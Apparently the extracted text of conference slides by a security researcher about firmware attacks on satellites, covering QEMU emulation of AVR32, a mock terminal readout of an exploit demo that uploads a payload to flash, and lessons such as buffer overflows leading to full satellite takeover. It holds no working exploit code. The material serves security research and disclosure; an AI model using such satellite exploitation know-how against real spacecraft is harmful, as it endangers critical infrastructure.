404 - AVR32 Not Found
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AVR32-QEMU
404 - AVR32 Not Found

Florian Göhler
AVR32 in QEMU from Scratch
Incl. I2C, SPI, PDCA, etc.
Blog:

How to add a new architecture
to QEMU - Part 1-4
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Live Demo
$> ./access-satellite.
[*] Uploading TC ...
[*] Deploying payload ...
[*] Payload written to flash ...
[*] Rebooting ...
[*] $$$

1
2
3
4
5
6
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https://s3.amazonaws.com/media-p.slid.es/videos/2399752/2UF-dQx8/ops-sat-exploit-demo.mp4


Sat Exploit Future
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Sat Exploit Future

Cosmic Radiation
Degraded Memory
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Sat Exploit Future

Cosmic Radiation
Degraded Memory

Very Limited Attack
Time Windows
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Sat Exploit Future

Cosmic Radiation
Degraded Memory

Very Limited Attack
Time Windows

Combined Attacks
Software + Sensors
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Lesson Learnt
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Lessons Learnt

Firmware Attacks on Satellites are a thing

ViaSat Incident != Satellite Firmware Attack

Common Sat Protocols lack Security

Security by Obscurity
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Lessons Learnt

Missing State-of-the-Art Defenses

Buffer Overflow => Remote Code Exeuction

Full Satellite Takeover

Complex TC/TM pipelines
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Thanks!
Firmware Attacks on Satellite
Satellite Exploitation Objectives
Satellite TC + TM Pipelines
Missing OS & SW-Defenses
Full Satellite Takeover

Johannes Willbold - johannes.willbold@rub.de

@jwillbold

/jwillbold

Also visit my Talks @ TyphoonCon'23, Seoul, South Korea
                                      Black Hat USA '23, Las Vegas, USA
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